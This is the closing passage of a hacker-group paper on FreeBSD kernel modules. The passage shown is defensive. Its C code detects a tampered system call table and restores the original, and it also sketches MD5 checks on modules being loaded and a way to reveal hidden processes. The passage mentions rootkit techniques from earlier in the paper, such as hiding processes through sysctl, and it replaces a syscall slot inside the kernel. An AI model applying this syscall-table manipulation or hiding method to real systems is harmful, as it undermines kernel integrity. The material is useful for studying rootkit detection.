if (sysent[SYS_kldfirstmod].sy_call!=kldfirstmod) error[SYS_kldfirstmod]=1;
if (sysent[SYS_getsid].sy_call!=getsid) error[SYS_getsid]=1;
if (sysent[SYS_aio_return].sy_call!=aio_return) error[SYS_aio_return]=1;
if (sysent[SYS_aio_suspend].sy_call!=aio_suspend) error[SYS_aio_suspend]=1;
if (sysent[SYS_aio_cancel].sy_call!=aio_cancel) error[SYS_aio_cancel]=1;
if (sysent[SYS_aio_error].sy_call!=aio_error) error[SYS_aio_error]=1;
if (sysent[SYS_aio_read].sy_call!=aio_read) error[SYS_aio_read]=1;
if (sysent[SYS_aio_write].sy_call!=aio_write) error[SYS_aio_write]=1;
if (sysent[SYS_lio_listio].sy_call!=lio_listio) error[SYS_lio_listio]=1;
if (sysent[SYS_yield].sy_call!=yield) error[SYS_yield]=1;
if (sysent[SYS_thr_sleep].sy_call!=thr_sleep) error[SYS_thr_sleep]=1;
if (sysent[SYS_thr_wakeup].sy_call!=thr_wakeup) error[SYS_thr_wakeup]=1;
if (sysent[SYS_mlockall].sy_call!=mlockall) error[SYS_mlockall]=1;
if (sysent[SYS_munlockall].sy_call!=munlockall) error[SYS_munlockall]=1;
if (sysent[SYS___getcwd].sy_call!=__getcwd) error[SYS___getcwd]=1;
if (sysent[SYS_sched_setparam].sy_call!=sched_setparam)
error[SYS_sched_setparam]=1;
if (sysent[SYS_sched_getparam].sy_call!=sched_getparam)
error[SYS_sched_getparam]=1;
if (sysent[SYS_sched_setscheduler].sy_call!=sched_setscheduler)
error[SYS_sched_setscheduler]=1;
if (sysent[SYS_sched_getscheduler].sy_call!=sched_getscheduler)
error[SYS_sched_getscheduler]=1;
if (sysent[SYS_sched_yield].sy_call!=sched_yield)
error[SYS_sched_yield]=1;
if (sysent[SYS_sched_get_priority_max].sy_call!=sched_get_priority_max)
error[SYS_sched_get_priority_max]=1;
if (sysent[SYS_sched_get_priority_min].sy_call!=sched_get_priority_min)
error[SYS_sched_get_priority_min]=1;
if (sysent[SYS_sched_rr_get_interval].sy_call!=sched_rr_get_interval)
error[SYS_sched_rr_get_interval]=1;
if (sysent[SYS_utrace].sy_call!=utrace)
error[SYS_utrace]=1;
if (sysent[SYS_sendfile].sy_call!=sendfile)
error[SYS_sendfile]=1;
if (sysent[SYS_kldsym].sy_call!=kldsym)
error[SYS_kldsym]=1;
printf("RESULTS : Modified System Calls \n\n");
printf("number new-addr\n");
printf("------ --------\n");
for (counter=0; counter <=399; counter++)
if (error[counter]==1)
printf("%d %p\n", counter, sysent[counter].sy_call);
return 0;
}
static moduledata_t syscall_mod = {
"SysentChecker",
dummy_handler,
NULL
};
DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
Nice code, isn't it :). Well I did not have the time, to write a nice wrapper.
So this is just the plain idea filled in a module.
The idea : Every system call entry (sysent) has a function member (sy_call) as
you know. In order to modify or intercept a system call a hacker has to change
this address pointing to his own function. So we only have to check these
addreesses against the system functions (like write for the SYS_write system
call) to check the system.
Average hackers will be stopped with this way of checking system
integrity, gurus won't (you can insert code without changing the system call
table, I'm working on this at the moment -> look for further releases).
2. How to restore old system calls
After detecting a changed system call table it is a good idea to restore the
original one.
I dont't present you the best solution : Start a module on system startup,
copy all sysent fields into another sysent array. If you want to restore every
sysent just copy the saved list to the modified sysent list.
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAX_SYSCALL_NUM 337
struct sysent save_sysent[MAX_SYSCALL_NUM];
void restoresys(struct proc *p)
{
int counter;
printf("RESTORE\n");
for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
sysent[counter]=save_sysent[counter];
}
static struct sysent restoresys_sysent = {
0,
restoresys
};
/*
* The function called at load/unload.
*/
static int
dummy_handler (struct module *module, int cmd, void *arg)
{
int counter;
if (cmd==MOD_LOAD)
{ for (counter=0; counter<=MAX_SYSCALL_NUM; counter++)
save_sysent[counter]=sysent[counter];
sysent[210]=restoresys_sysent;
}
return 0;
}
static moduledata_t syscall_mod = {
"SysentRestore",
dummy_handler,
NULL
};
DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
This module should be loaded at system startup (the best would be loading it
before the first connect to the 'hostile' net). Of course, you should add
hiding features to this module. This will also prevent hackers from easily
manipulate your own sysent restore list.
3. General ideas for using MD5 Hashes
Ok the latter two sections explained how to detect and repair the damage any
hostile module could do, but what about prevention.
My Linux article used a passworded createmodule() system call. This time
you could catch kldload() in order to check the module. Note : I'm not sure
at the moment, but I think catching this system call is not enough, I think
it's possible to load a module without the kldstuff; just an idea.
This time we could use a MD5 hash (digest). The function (macros) we need are
explained in the MD5 man page (section 9). Take a look at those function and
you'll recognize how easy it is to implement. These macros help us to get a
digest on a module someone wants to load on our system. You only have to hard
code some hashes into your kernel for checking the loaded ones. The rest
should be clear.
4. How to see a hidden process
As I said in part I of this paper every process is saved in the allproc
list which consists of lots of proc structure each holding one process running
on the system. I also said that it's impossible to delete a process from thist
list (scheduling, timing, etc.) so we patched the sysctl system call to hide a
certain process.
This means that we could write some kernel code (module) which will print the
whole allproc list including the process to hide. The code for this module
was already shown in I.7.1.
5. Last words
Every idea mentioned in this part will stop most (!!) attacks on your system
via kernel modules. Of course, you have to handle things like reboots etc. for
making everything a bit more secure.
BUT any person who really knows the kernel and the system will easily work
around those protections schemes... Bear in mind : It's always harder to
secure a system than to hack it.
IV. Last things to mention
1. What about OpenBSD and NetBSD
At the moment I have no running OpenBSD or NetBSD system, but I took a very
brief look at the OpenBSD kernel. It uses the LKM scheme FreeBSD also used in
former releases. The rest of the kernel is very similar to FreeBSD, so I think
there should be no big problems porting the modules in this text to OpenBSD or
NetBSD. THC will work on this, but I really can't tell when we are finished...
2. Resources
[Internet]
http://www.freebsd.org : everything you need
http://www.thc.org : THC Homepage (Linux LKM article and lots of more!)
[books]
'The Design and Implementation of the 4.4BSD Operating System' (Addison
Wesley) : One of the best books I know, a bit old but still useful.
3. Greetings
groups :
THC, ADM, ech0, deep, CCC
personal :
van Hauser
-> thanks for the idea to write this article; and for answering lots of
questions :)
Stealth
-> I got your mails :) ext2 fs text is really nice
mindmaniac
-> again a big thanks for starting the whole thing...
Solar Designer
-> there's only one word for you : *ELITE*. The next release will deal with the
other kernel stuff, perhaps I'll need some help ;)
Aleph1
-> what would the world be without bugtraq